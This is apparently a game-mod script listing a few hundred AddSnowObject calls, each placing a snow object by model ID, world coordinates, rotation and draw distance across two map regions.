AddSnowObject(9721, -2366.959, 1277.290, 22.750, 0.000, 0.000, 90.044, 189.0);
AddSnowObject(9722, -2262.229, 1340.930, 6.117, 0.000, 0.000, 144.746, 176.7);
AddSnowObject(9723, -2495.830, 1371.040, 6.109, 0.000, 0.000, -167.810, 174.6);
AddSnowObject(9724, -2622.110, 1187.650, 34.398, 0.000, 0.000, -134.173, 192.9);
AddSnowObject(9725, -2734.800, 1160.989, 50.070, 0.000, 0.000, -149.269, 173.6);
AddSnowObject(9726, -2646.729, 1200.099, 54.328, 0.000, 0.000, 0.000, 233.5);
AddSnowObject(9727, -2606.100, 1205.699, 50.539, 0.000, 0.000, 160.206, 156.8);
AddSnowObject(9729, -2477.120, 1216.770, 34.132, 0.000, 0.000, 174.746, 174.5);
AddSnowObject(9730, -2488.540, 1159.760, 54.328, 0.000, 0.000, 179.904, 154.1);
AddSnowObject(9731, -2739.310, 1007.159, 52.140, 0.000, 0.000, -110.253, 228.9);
AddSnowObject(9732, -2639.750, 1004.309, 68.781, 0.000, 0.000, 0.000, 203.2);
AddSnowObject(9733, -2679.189, 895.476, 72.585, 0.000, 0.000, -169.218, 166.3);
AddSnowObject(9735, -2683.629, 708.312, 32.304, 0.000, 0.000, 0.008, 163.2);
AddSnowObject(9736, -2182.600, 1258.550, 30.398, 0.000, 0.000, 109.744, 237.8);
AddSnowObject(9743, -2392.530, 1407.180, -13.312, 0.000, 0.000, 0.000, 220.0);
AddSnowObject(9744, -2196.800, 1376.780, -11.796, 0.000, 0.000, 0.000, 211.8);
AddSnowObject(9745, -2628.489, 1460.109, -14.789, 0.000, 0.000, 0.000, 246.2);
AddSnowObject(9747, -2527.300, 1003.719, 70.070, 0.000, 0.000, 89.999, 183.7);
AddSnowObject(9761, -2411.389, 1544.949, 27.078, 0.000, 0.000, 0.000, 214.0);
AddSnowObject(9836, -2574.199, 638.289, 20.593, 0.000, 0.000, 0.000, 171.2);
AddSnowObject(9858, -2787.449, 1335.800, -14.757, 0.000, 0.000, 0.000, 275.5);
AddSnowObject(9517, -2710.879, 972.929, 56.765, 0.000, 0.000, 0.000, 130.1);
AddSnowObject(9752, -2885.199, 987.468, 42.195, 0.000, 0.000, -47.113, 145.4);
AddSnowObject(9753, -2903.370, 1022.739, 38.382, 0.000, 0.000, -77.006, 140.9);
AddSnowObject(9830, -2855.080, 1034.209, 33.179, 0.000, 0.000, 0.000, 153.9);
AddSnowObject(9556, -2834.850, 1060.609, 30.335, 0.000, 0.000, 0.000, 181.8);
AddSnowObject(9606, -2564.770, 1055.949, 65.921, 0.000, 0.000, 0.000, 153.7);
AddSnowObject(9592, -2909.540, 1165.839, 15.500, 0.000, 0.000, -89.999, 132.9);
AddSnowObject(9754, -2910.419, 1110.709, 28.335, 0.000, 0.000, -92.369, 147.7);
AddSnowObject(9549, -2906.070, 1068.300, 33.765, 0.000, 0.000, 94.806, 140.7);
AddSnowObject(9554, -2832.500, 1180.540, 16.835, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(9889, -2789.320, 1180.170, 33.265, 0.000, 0.000, 0.000, 185.2);
AddSnowObject(9891, -2777.229, 1076.530, 33.656, 0.000, 0.000, 0.000, 181.5);
AddSnowObject(9607, -2689.409, 1156.880, 44.312, 0.000, 0.000, 0.000, 166.1);
AddSnowObject(9605, -2667.929, 1080.280, 55.718, 0.000, 0.000, 0.000, 200.1);
AddSnowObject(9575, -2615.750, 1170.599, 44.773, 0.000, 0.000, 0.000, 183.6);
AddSnowObject(9827, -2569.850, 1158.770, 54.429, 0.000, 0.000, 0.000, 131.3);
AddSnowObject(9746, -2755.560, 1391.449, -11.156, 0.000, 0.000, 0.000, 196.8);
AddSnowObject(9864, -2724.330, 1230.439, 30.695, 0.000, 0.000, 0.000, 217.8);
AddSnowObject(9766, -2659.159, 1494.979, 51.484, 0.000, 0.000, 0.000, 137.3);
AddSnowObject(9767, -2655.530, 1422.660, 35.335, 0.000, 0.000, 0.000, 141.6);
AddSnowObject(9483, -2622.510, 1386.400, 5.117, 0.000, 0.000, 0.000, 143.5);
AddSnowObject(9863, -2586.060, 1271.949, 30.375, 0.000, 0.000, 0.000, 206.0);
AddSnowObject(9520, -2503.969, 998.328, 73.156, 0.000, 0.000, 0.000, 171.6);
AddSnowObject(9526, -2337.760, 1000.280, 52.804, 0.000, 0.000, -89.999, 138.6);
AddSnowObject(9576, -2525.909, 1146.650, 59.257, 0.000, 0.000, 0.000, 161.9);
AddSnowObject(9728, -2509.209, 1192.410, 38.851, 0.000, 0.000, -12.723, 147.2);
AddSnowObject(9577, -2412.550, 1130.569, 59.226, 0.000, 0.000, 0.000, 163.5);
AddSnowObject(9704, -2370.770, 1131.930, 54.398, 0.000, 0.000, 169.662, 155.2);
AddSnowObject(9610, -2318.520, 1277.449, 30.453, 0.000, 0.000, 0.000, 224.5);
AddSnowObject(9611, -2148.159, 1299.699, 22.531, 0.000, 0.000, 0.000, 190.2);
AddSnowObject(9612, -2056.350, 1378.599, -22.226, 0.000, 0.000, 0.000, 177.3);
AddSnowObject(9749, -2887.689, 789.757, 36.609, 0.000, 0.000, 66.700, 150.5);
AddSnowObject(9550, -2867.590, 833.445, 41.179, 0.000, 0.000, -82.126, 157.5);
AddSnowObject(9485, -2792.419, 835.757, 46.593, 0.000, 0.000, 89.999, 156.3);
AddSnowObject(9762, -2869.340, 948.757, 28.281, 0.000, 0.000, 0.000, 148.0);
AddSnowObject(9751, -2849.449, 915.429, 45.554, 0.000, 0.000, 51.628, 155.4);
AddSnowObject(9750, -2845.370, 875.421, 45.828, 0.000, 0.000, -169.934, 156.2);
AddSnowObject(9555, -2799.270, 924.500, 54.164, 0.000, 0.000, 0.000, 213.9);
AddSnowObject(9501, -2625.330, 761.718, 42.640, 0.000, 0.000, 0.000, 146.9);
AddSnowObject(9503, -2694.179, 765.187, 45.937, 0.000, 0.000, 0.000, 140.3);
AddSnowObject(9893, -2686.919, 768.828, 41.078, 0.000, 0.000, 0.000, 159.7);
AddSnowObject(9505, -2686.909, 768.406, 39.484, 0.000, 0.000, 0.000, 159.7);
AddSnowObject(9504, -2678.340, 768.421, 42.718, 0.000, 0.000, 0.000, 165.6);
AddSnowObject(9734, -2678.739, 811.578, 49.296, 0.000, 0.000, 0.007, 162.6);
AddSnowObject(9511, -2678.790, 876.710, 73.968, 0.000, 0.000, 0.000, 166.4);
AddSnowObject(9508, -2673.959, 859.429, 64.046, 0.000, 0.000, 0.000, 170.6);
AddSnowObject(9506, -2622.219, 856.773, 59.195, 0.000, 0.000, 0.000, 133.6);
AddSnowObject(9509, -2638.330, 869.328, 66.007, 0.000, 0.000, -0.000, 136.7);
AddSnowObject(9516, -2714.949, 916.375, 69.421, 0.000, 0.000, 0.000, 133.4);
AddSnowObject(9519, -2704.479, 944.523, 66.031, 0.000, 0.000, 0.000, 180.7);
AddSnowObject(9499, -2566.709, 823.015, 53.734, 0.000, 0.000, 0.000, 130.8);
AddSnowObject(9497, -2580.739, 856.773, 59.195, 0.000, 0.000, 0.000, 138.3);
AddSnowObject(9500, -2562.179, 858.031, 56.898, 0.000, 0.000, 0.000, 139.8);
AddSnowObject(9521, -2574.199, 954.914, 76.046, 0.000, 0.000, 0.000, 147.8);
AddSnowObject(9522, -2561.290, 956.312, 74.968, 0.000, 0.000, 0.000, 146.8);
AddSnowObject(9498, -2552.239, 859.218, 59.195, 0.000, 0.000, 0.000, 132.3);
AddSnowObject(9765, -2466.209, 847.468, 61.046, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(9547, -2469.449, 876.812, 71.742, 0.000, 0.000, 0.000, 157.6);
AddSnowObject(9737, -2477.780, 933.070, 63.007, 0.000, 0.000, 0.000, 145.6);
AddSnowObject(9573, -2321.149, 760.164, 55.828, 0.000, 0.000, 0.000, 144.1);
AddSnowObject(9740, -2331.360, 760.171, 52.007, 0.000, 0.000, 0.000, 145.0);
AddSnowObject(9764, -2439.189, 826.765, 49.468, 0.000, 0.000, 0.000, 144.3);
AddSnowObject(9701, -2328.840, 808.382, 42.203, 0.000, 0.000, 0.175, 149.1);
AddSnowObject(9738, -2305.050, 851.179, 62.898, 0.000, 0.000, 0.000, 147.1);
AddSnowObject(9763, -2410.850, 868.007, 59.023, 0.000, 0.000, 0.000, 138.7);
AddSnowObject(9572, -2420.840, 933.117, 62.460, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(9894, -2337.629, 874.218, 48.242, 0.000, 0.000, 0.000, 170.5);
AddSnowObject(9741, -2354.750, 915.726, 68.703, 0.000, 0.000, 0.000, 145.9);
AddSnowObject(9702, -2326.179, 958.351, 54.343, 0.000, 0.000, 0.000, 149.7);
AddSnowObject(9524, -2325.520, 915.726, 70.304, 0.000, 0.000, 0.000, 144.7);
AddSnowObject(9829, -2920.570, 461.796, -61.390, 0.000, 0.000, 0.000, 209.9);
AddSnowObject(9603, -2589.159, 469.187, 13.531, 0.000, 0.000, -0.010, 146.0);
AddSnowObject(9717, -2728.629, 515.789, 8.367, 0.000, 0.000, -49.798, 151.7);
AddSnowObject(9835, -2676.350, 528.289, 25.492, 0.000, 0.000, 0.000, 184.5);
AddSnowObject(9713, -2606.699, 517.304, 13.539, 0.000, 0.000, -89.999, 138.7);
AddSnowObject(9834, -2567.340, 516.828, 30.625, 0.000, 0.000, 0.000, 153.4);
AddSnowObject(9748, -2873.500, 686.937, 24.929, 0.000, 0.000, 98.647, 192.5);
AddSnowObject(9598, -2889.149, 738.195, 30.867, 0.000, 0.000, -85.000, 149.2);
AddSnowObject(9502, -2687.399, 726.937, 38.929, 0.000, 0.000, -0.000, 155.5);
AddSnowObject(9495, -2566.760, 757.421, 46.320, 0.000, 0.000, 0.000, 154.3);
AddSnowObject(9680, -2305.429, 535.515, 48.703, 0.000, 0.000, 0.000, 175.7);
AddSnowObject(9700, -2326.669, 565.882, 28.960, 0.000, 0.000, -0.000, 149.4);
AddSnowObject(9596, -2457.949, 638.328, 23.929, 0.000, 0.000, 0.000, 184.6);
AddSnowObject(9860, -2278.320, 612.390, 50.351, 0.000, 0.000, 0.000, 134.7);
AddSnowObject(9599, -2333.590, 618.382, 43.328, 0.000, 0.000, 0.000, 161.1);
AddSnowObject(9595, -2288.110, 618.390, 53.625, 0.000, 0.000, 0.000, 146.7);
AddSnowObject(9699, -2325.169, 668.367, 40.460, 0.000, 0.000, 179.999, 149.0);
AddSnowObject(9514, -2457.340, 758.320, 38.531, 0.000, 0.000, 0.000, 172.5);
AddSnowObject(9523, -2334.550, 704.468, 49.492, 0.000, 0.000, 0.000, 148.6);
AddSnowObject(9494, -2295.770, 704.835, 58.695, 0.000, 0.000, 0.000, 130.5);
AddSnowObject(9739, -2361.580, 759.984, 48.296, 0.000, 0.000, 0.000, 143.6);
AddSnowObject(8390, 2307.370, 1453.180, 29.125, 0.000, 0.000, 0.000, 191.5);
AddSnowObject(8391, 1883.880, 1330.270, 36.781, 0.000, 0.000, 0.000, 153.1);
AddSnowObject(8392, 1918.760, 1423.719, 45.531, 0.000, 0.000, 0.000, 162.5);
AddSnowObject(8393, 1950.300, 1345.319, 15.984, 0.000, 0.000, 0.000, 177.9);
AddSnowObject(8396, 2216.840, 1285.699, 18.500, 0.000, 0.000, 0.000, 150.6);
AddSnowObject(8398, 2140.590, 1283.270, 8.375, 0.000, 0.000, 0.000, 172.6);
AddSnowObject(8411, 2577.409, 1343.229, 12.484, 0.000, 0.000, 0.000, 156.6);
AddSnowObject(8420, 2397.389, 1663.229, 9.843, 0.000, 0.000, 0.000, 156.5);
AddSnowObject(8421, 1928.410, 1628.589, 48.187, 0.000, 0.000, 0.000, 157.4);
AddSnowObject(8422, 1943.780, 1620.160, 12.382, 0.000, 0.000, 0.000, 186.5);
AddSnowObject(8433, 2437.389, 1663.229, 14.078, 0.000, 0.000, 0.000, 209.0);
AddSnowObject(8438, 2517.389, 1583.229, 9.742, 0.000, 0.000, 0.000, 207.7);
AddSnowObject(8439, 2297.389, 1743.229, 9.742, 0.000, 0.000, 0.000, 207.7);
AddSnowObject(8440, 2064.879, 1743.050, 9.796, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(8441, 1944.890, 1713.229, 9.742, 0.000, 0.000, 0.000, 188.0);
AddSnowObject(8442, 2297.389, 1603.229, 9.742, 0.000, 0.000, 0.000, 248.6);
AddSnowObject(8443, 2417.389, 1393.229, 9.742, 0.000, 0.000, 0.000, 172.8);
AddSnowObject(8444, 2297.389, 1433.229, 9.742, 0.000, 0.000, 0.000, 213.1);
AddSnowObject(8445, 2154.889, 1773.229, 9.742, 0.000, 0.000, 0.000, 143.6);
AddSnowObject(8446, 2152.379, 1453.229, 9.742, 0.000, 0.000, 0.000, 211.0);
AddSnowObject(8447, 2487.389, 1013.229, 9.742, 0.000, 0.000, 0.000, 214.0);
AddSnowObject(8448, 2457.389, 1153.229, 9.742, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(8449, 2297.379, 1193.229, 9.781, 0.000, 0.000, 0.000, 200.5);
AddSnowObject(8450, 1942.390, 1273.229, 9.742, 0.000, 0.000, 0.000, 185.5);
AddSnowObject(8451, 2142.389, 1273.229, 8.414, 0.000, 0.000, 0.000, 205.4);
AddSnowObject(8452, 1942.390, 1073.170, 9.742, 0.000, 0.000, 0.000, 210.1);
AddSnowObject(8453, 2597.389, 1363.219, 9.742, 0.000, 0.000, 0.000, 184.8);
AddSnowObject(8454, 2467.389, 753.226, 9.742, 0.000, 0.000, 0.000, 202.9);
AddSnowObject(8455, 1942.390, 1453.229, 9.742, 0.000, 0.000, 0.000, 185.5);
AddSnowObject(8456, 1942.319, 963.265, 9.593, 0.000, 0.000, 0.000, 194.1);
AddSnowObject(8457, 1849.890, 1623.229, 7.742, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(8458, 2807.389, 1393.229, 9.781, 0.000, 0.000, 0.000, 194.8);
AddSnowObject(8459, 2647.520, 1672.839, 7.812, 0.000, 0.000, 0.000, 221.3);
AddSnowObject(8460, 2202.379, 1653.050, 9.625, 0.000, 0.000, 0.000, 259.0);
AddSnowObject(8461, 2657.520, 1448.020, 7.820, 0.000, 0.000, 0.000, 231.1);
AddSnowObject(8462, 2621.080, 951.031, 7.890, 0.000, 0.000, 0.000, 295.5);
AddSnowObject(8463, 2657.520, 1177.560, 7.851, 0.000, 0.000, 0.000, 231.9);
AddSnowObject(8464, 2327.389, 1283.219, 9.820, 0.000, 0.000, 0.000, 220.4);
AddSnowObject(8465, 2364.669, 683.203, -16.734, 0.000, 0.000, 0.000, 296.2);
AddSnowObject(8466, 2119.090, 684.710, -15.554, 0.000, 0.000, 0.000, 285.7);
AddSnowObject(8467, 2162.830, 913.226, 7.812, 0.000, 0.000, 0.000, 190.5);
AddSnowObject(8468, 2152.389, 1283.229, 8.414, 0.000, 0.000, 0.000, 203.0);
AddSnowObject(8469, 1922.410, 963.226, 7.851, 0.000, 0.000, 0.000, 267.1);
AddSnowObject(8470, 1884.699, 683.453, -20.000, 0.000, 0.000, 0.000, 295.0);
AddSnowObject(8471, 2199.889, 943.226, 9.742, 0.000, 0.000, 0.000, 221.7);
AddSnowObject(8472, 2497.389, 1513.229, 9.742, 0.000, 0.000, 0.000, 250.0);
AddSnowObject(8473, 2477.409, 1343.229, 9.742, 0.000, 0.000, 0.000, 172.1);
AddSnowObject(8474, 2577.379, 1253.229, 9.742, 0.000, 0.000, 0.000, 178.1);
AddSnowObject(8475, 2467.389, 1253.229, 9.742, 0.000, 0.000, 0.000, 170.7);
AddSnowObject(8476, 2567.379, 1193.229, 9.742, 0.000, 0.000, 0.000, 150.9);
AddSnowObject(8477, 2587.409, 1093.229, 9.742, 0.000, 0.000, 0.000, 194.8);
AddSnowObject(8480, 2219.350, 1632.670, 63.164, 0.000, 0.000, 0.000, 206.7);
AddSnowObject(8481, 2207.389, 1653.229, 12.382, 0.000, 0.000, 0.000, 255.5);
AddSnowObject(8482, 2168.879, 1661.300, 15.773, 0.000, 0.000, 0.000, 204.6);
AddSnowObject(8485, 1907.280, 1364.589, 12.867, 0.000, 0.000, 0.000, 202.8);
AddSnowObject(8486, 1922.390, 1363.229, 7.851, 0.000, 0.000, 0.000, 234.0);
AddSnowObject(8489, 1932.780, 1177.400, 39.921, 0.000, 0.000, 0.000, 185.7);
AddSnowObject(8490, 1956.579, 1183.829, 19.585, 0.000, 0.000, 0.000, 202.8);
AddSnowObject(8497, 1952.319, 1013.229, 9.007, 0.000, 0.000, 0.000, 202.8);
AddSnowObject(8498, 2231.800, 1035.719, 46.820, 0.000, 0.000, 0.000, 193.1);
AddSnowObject(8499, 2265.560, 1130.270, 46.820, 0.000, 0.000, 0.000, 192.9);
AddSnowObject(8501, 2160.270, 1465.109, 22.148, 0.000, 0.000, -0.000, 131.5);
AddSnowObject(8510, 2067.389, 683.218, 9.742, 0.000, 0.000, 0.000, 220.4);
AddSnowObject(8511, 2267.379, 643.210, 9.742, 0.000, 0.000, 0.000, 245.6);
AddSnowObject(8512, 1927.390, 703.218, 9.742, 0.000, 0.000, 0.000, 206.3);
AddSnowObject(8513, 1927.390, 703.226, 14.078, 0.000, 0.000, 0.000, 179.6);
AddSnowObject(8514, 2367.389, 1073.229, 9.742, 0.000, 0.000, 0.000, 220.8);
AddSnowObject(8515, 2212.370, 1083.229, 7.875, 0.000, 0.000, 0.000, 260.1);
AddSnowObject(8517, 2267.389, 743.226, 9.742, 0.000, 0.000, 0.000, 217.0);
AddSnowObject(8518, 1877.390, 843.195, 8.484, 0.000, 0.000, 0.000, 163.3);
AddSnowObject(8519, 2027.390, 852.679, 5.289, 0.000, 0.000, 0.000, 190.6);
AddSnowObject(8520, 2197.389, 843.296, 6.515, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(8521, 2372.840, 843.296, 6.515, 0.000, 0.000, 0.000, 197.5);
AddSnowObject(8522, 2566.669, 890.578, 6.187, 0.000, 0.000, 0.000, 222.5);
AddSnowObject(8523, 2717.699, 1212.920, 6.515, 0.000, 0.000, 0.000, 192.2);
AddSnowObject(8524, 2717.649, 1383.010, 6.515, 0.000, 0.000, 0.000, 182.5);
AddSnowObject(8525, 2717.649, 1543.119, 6.515, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(8529, 2487.389, 1423.229, 10.343, 0.000, 0.000, 0.000, 164.0);
AddSnowObject(8531, 2587.389, 1423.219, 10.421, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(8532, 2517.389, 1543.219, 9.820, 0.000, 0.000, 0.000, 200.0);
AddSnowObject(8533, 2467.389, 1753.219, 9.820, 0.000, 0.000, 0.000, 150.0);
AddSnowObject(8538, 2812.040, 1558.750, 9.921, 0.000, 0.000, 0.000, 199.7);
AddSnowObject(8539, 2866.780, 1303.219, 9.921, 0.000, 0.000, 0.000, 180.1);
AddSnowObject(8540, 2866.780, 1433.209, 9.921, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(8541, 2766.770, 953.257, 10.015, 0.000, 0.000, 0.000, 170.2);
AddSnowObject(8542, 2766.770, 813.265, 9.992, 0.000, 0.000, 0.000, 170.2);
AddSnowObject(8543, 2477.389, 1703.229, 9.742, 0.000, 0.000, 0.000, 213.1);
AddSnowObject(8544, 2844.250, 874.718, 15.445, 0.000, 0.000, -89.999, 151.0);
AddSnowObject(8547, 2836.090, 928.273, 9.820, 0.000, 0.000, -89.999, 211.8);
AddSnowObject(8549, 2836.090, 928.281, 11.367, 0.000, 0.000, -89.999, 211.8);
AddSnowObject(8552, 2557.360, 1103.229, 9.742, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(8553, 2567.370, 1043.229, 9.742, 0.000, 0.000, 0.000, 136.0);
AddSnowObject(8554, 2567.399, 1133.229, 9.820, 0.000, 0.000, 0.000, 158.3);
AddSnowObject(8555, 2477.389, 1043.229, 33.156, 0.000, 0.000, 0.000, 152.3);
AddSnowObject(8560, 2635.649, 733.421, 9.921, 0.000, 0.000, 0.000, 150.9);
AddSnowObject(8561, 2667.260, 843.234, 9.882, 0.000, 0.000, 0.000, 235.9);
AddSnowObject(8562, 2597.389, 723.218, 9.742, 0.000, 0.000, 0.000, 207.7);
AddSnowObject(8564, 2477.389, 1133.229, 9.820, 0.000, 0.000, 0.000, 164.0);
AddSnowObject(8577, 2809.320, 1303.189, 10.546, 0.000, 0.000, 0.000, 195.5);
AddSnowObject(8582, 2910.729, 1674.280, 22.875, 0.000, 0.000, 0.000, 239.4);
AddSnowObject(8583, 2864.610, 1441.569, 23.101, 0.000, 0.000, 0.000, 284.2);
AddSnowObject(8584, 2864.270, 1198.310, 20.523, 0.000, 0.000, -0.000, 280.0);
AddSnowObject(8585, 2855.729, 959.062, 17.742, 0.000, 0.000, 0.000, 291.8);
AddSnowObject(8586, 2830.439, 1145.989, 10.398, 0.000, 0.000, 0.000, 187.8);
AddSnowObject(8587, 2779.449, 1049.150, 10.546, 0.000, 0.000, 0.000, 131.6);
AddSnowObject(8609, 2059.879, 1603.229, 9.796, 0.000, 0.000, 0.000, 200.7);
AddSnowObject(8610, 2057.379, 1403.229, 9.796, 0.000, 0.000, 0.000, 201.1);
AddSnowObject(8611, 2042.380, 1203.209, 9.796, 0.000, 0.000, 0.000, 201.1);
AddSnowObject(8612, 2042.380, 982.625, 7.351, 0.000, 0.000, 0.000, 221.5);
AddSnowObject(8616, 2127.409, 1681.359, 9.750, 0.000, 0.000, 0.000, 158.2);
AddSnowObject(8622, 1967.380, 1363.229, 8.960, 0.000, 0.000, 0.000, 185.4);
AddSnowObject(8624, 2783.000, 1688.770, 9.921, 0.000, 0.000, 0.000, 130.5);
AddSnowObject(8625, 2785.139, 1750.989, 10.460, 0.000, 0.000, -0.000, 132.8);
AddSnowObject(8626, 2806.379, 1755.800, 9.921, 0.000, 0.000, 0.000, 132.0);
AddSnowObject(8629, 2811.649, 1680.869, 10.460, 0.000, 0.000, 0.000, 144.0);
AddSnowObject(8630, 2822.379, 1682.079, 10.460, 0.000, 0.000, 0.000, 145.6);
AddSnowObject(8631, 2842.280, 1673.160, 10.460, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(8632, 2880.729, 1632.339, 10.460, 0.000, 0.000, 0.000, 151.3);
AddSnowObject(8633, 2874.669, 1619.229, 10.460, 0.000, 0.000, 0.000, 135.8);
AddSnowObject(8634, 2863.949, 1618.020, 10.460, 0.000, 0.000, 0.000, 134.0);
AddSnowObject(8636, 2517.389, 1543.229, 10.601, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(8637, 2525.260, 1543.229, 9.742, 0.000, 0.000, -0.000, 179.4);
AddSnowObject(8638, 2507.389, 1833.229, 9.742, 0.000, 0.000, 0.000, 210.4);
AddSnowObject(8654, 2217.389, 769.140, 7.820, 0.000, 0.000, 0.000, 175.5);
AddSnowObject(8655, 2287.389, 798.226, 7.851, 0.000, 0.000, 0.000, 202.7);
AddSnowObject(8663, 1955.800, 1011.900, 33.898, 0.000, 0.000, 0.000, 200.7);
AddSnowObject(8664, 2162.389, 1453.229, 9.742, 0.000, 0.000, 0.000, 202.5);
AddSnowObject(8671, 2647.389, 1663.640, 10.195, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(8672, 2607.520, 1816.709, 8.226, 0.000, 0.000, 0.000, 203.1);
AddSnowObject(8677, 2362.320, 1023.179, 7.820, 0.000, 0.000, 0.000, 309.4);
AddSnowObject(8678, 2497.149, 923.226, 10.343, 0.000, 0.000, 0.000, 144.9);
AddSnowObject(8680, 2577.540, 1893.089, 11.148, 0.000, 0.000, 0.000, 177.9);
AddSnowObject(8681, 2657.310, 1908.089, 11.148, 0.000, 0.000, 0.000, 140.1);
AddSnowObject(8682, 2677.149, 1828.219, 11.148, 0.000, 0.000, 0.000, 145.0);
AddSnowObject(8683, 2677.149, 1738.229, 11.148, 0.000, 0.000, 0.000, 145.0);
AddSnowObject(8684, 2642.270, 1658.349, 11.148, 0.000, 0.000, 0.000, 149.3);
AddSnowObject(8685, 2582.500, 1649.619, 11.148, 0.000, 0.000, 0.000, 136.0);
AddSnowObject(8686, 2537.600, 1757.459, 11.148, 0.000, 0.000, 0.000, 149.9);
AddSnowObject(8701, 2323.699, 1283.229, 52.968, 0.000, 0.000, 0.000, 185.7);
AddSnowObject(8710, 2387.659, 1567.410, 9.820, 0.000, 0.000, 0.000, 159.5);
AddSnowObject(8824, 2717.889, 1703.270, 6.507, 0.000, 0.000, 0.000, 182.5);
AddSnowObject(8825, 2057.389, 1602.579, 10.531, 0.000, 0.000, 0.000, 196.9);
AddSnowObject(8844, 1922.390, 1163.229, 7.851, 0.000, 0.000, 0.000, 232.0);
AddSnowObject(8845, 1867.390, 1183.219, 11.101, 0.000, 0.000, 0.000, 185.6);
AddSnowObject(8850, 2772.110, 1434.050, 9.835, 0.000, 0.000, 0.000, 132.9);
AddSnowObject(8857, 2596.020, 689.429, -12.296, 0.000, 0.000, 0.000, 287.1);
AddSnowObject(8858, 2766.770, 677.828, 9.992, 0.000, 0.000, 0.000, 165.7);
AddSnowObject(8859, 2852.050, 717.367, 7.539, 0.000, 0.000, 0.000, 290.0);
AddSnowObject(8860, 2766.770, 570.523, 7.382, 0.000, 0.000, 0.000, 142.2);
AddSnowObject(8867, 2625.879, 829.453, 7.187, 0.000, 0.000, 0.000, 185.0);
AddSnowObject(8868, 2696.000, 877.726, 8.523, 0.000, 0.000, 0.000, 142.2);
AddSnowObject(8882, 2216.629, 1095.199, 44.078, 0.000, 0.000, 0.000, 173.1);
AddSnowObject(8932, 2227.389, 1293.229, 9.781, 0.000, 0.000, 0.000, 190.5);
AddSnowObject(8983, 2789.919, 1670.060, 7.851, 0.000, 0.000, 0.000, 224.6);
AddSnowObject(9000, 1797.390, 1713.209, 10.062, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(9001, 1797.390, 1453.209, 10.062, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(9002, 1797.359, 1273.199, 10.070, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(9003, 1797.390, 1133.209, 10.062, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(9004, 2147.409, 843.226, 10.062, 0.000, 0.000, -179.999, 162.4);
AddSnowObject(9005, 2287.399, 843.226, 10.062, 0.000, 0.000, -179.999, 162.5);
AddSnowObject(9006, 2547.389, 863.234, 10.070, 0.000, 0.000, -179.999, 162.5);
AddSnowObject(9007, 2717.389, 1313.209, 10.062, 0.000, 0.000, 89.999, 162.9);
AddSnowObject(9008, 2717.389, 1473.209, 10.070, 0.000, 0.000, 89.999, 162.5);
AddSnowObject(9021, 2197.389, 895.734, 7.734, 0.000, 0.000, 89.999, 199.6);
AddSnowObject(9022, 2197.409, 790.703, 7.734, 0.000, 0.000, 89.999, 199.6);
AddSnowObject(9023, 2377.379, 895.742, 7.734, 0.000, 0.000, -89.999, 188.4);
AddSnowObject(9024, 2377.379, 790.726, 7.734, 0.000, 0.000, -89.999, 188.4);
AddSnowObject(9025, 2660.090, 1393.109, 7.554, 0.000, 0.000, 0.000, 199.7);
AddSnowObject(9026, 2769.919, 1383.280, 7.734, 0.000, 0.000, -179.999, 199.6);
AddSnowObject(9027, 2664.879, 1563.250, 7.734, 0.000, 0.000, 0.000, 188.4);
AddSnowObject(9028, 2769.899, 1563.250, 7.734, 0.000, 0.000, 0.000, 188.3);
AddSnowObject(9036, 2495.179, 1526.479, 9.742, 0.000, 0.000, 0.000, 176.2);
AddSnowObject(9037, 2249.120, 1653.229, 16.382, 0.000, 0.000, 0.000, 216.8);
AddSnowObject(9039, 2138.350, 1611.689, 20.468, 0.000, 0.000, 0.000, 149.1);
AddSnowObject(9042, 2324.899, 1283.229, 7.992, 0.000, 0.000, 0.000, 215.2);
AddSnowObject(9043, 2327.389, 1283.229, 19.101, 0.000, 0.000, 0.000, 221.1);
AddSnowObject(9056, 2647.520, 1903.229, 8.226, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(9057, 2557.580, 1903.229, 10.195, 0.000, 0.000, 0.000, 156.7);
AddSnowObject(9062, 2474.889, 1663.229, 9.843, 0.000, 0.000, 0.000, 158.3);
AddSnowObject(9064, 2637.320, 1743.719, 10.195, 0.000, 0.000, 0.000, 156.9);
AddSnowObject(9065, 2595.139, 1664.229, 10.117, 0.000, 0.000, 0.000, 155.7);
AddSnowObject(9066, 2557.389, 1752.959, 10.195, 0.000, 0.000, 0.000, 163.8);
AddSnowObject(9070, 2111.320, 1501.119, 22.148, 0.000, 0.000, 0.000, 134.0);
AddSnowObject(9071, 2158.419, 1501.119, 22.148, 0.000, 0.000, 0.000, 132.9);
AddSnowObject(9072, 2113.129, 1465.109, 22.148, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(9076, 2179.330, 1285.699, 24.101, 0.000, 0.000, 0.000, 137.2);
AddSnowObject(9082, 2617.560, 867.171, 6.945, 0.000, 0.000, 0.000, 175.0);
AddSnowObject(9083, 2673.889, 812.460, 7.132, 0.000, 0.000, 0.000, 152.2);
AddSnowObject(9086, 2552.659, 733.421, 9.921, 0.000, 0.000, 0.000, 145.8);
AddSnowObject(9090, 2317.090, 572.265, -20.968, 0.000, 0.000, 0.000, 199.9);
AddSnowObject(9115, 2072.449, 982.625, 7.351, 0.000, 0.000, 0.000, 221.5);
AddSnowObject(9116, 2072.379, 1203.229, 9.796, 0.000, 0.000, 0.000, 201.1);
AddSnowObject(9117, 2057.379, 1403.229, 9.796, 0.000, 0.000, 0.000, 201.1);
AddSnowObject(9118, 2059.879, 1603.229, 9.796, 0.000, 0.000, 0.000, 201.1);
AddSnowObject(9119, 2089.889, 1743.229, 9.796, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(9120, 2027.390, 833.117, 5.875, 0.000, 0.000, 0.000, 190.5);
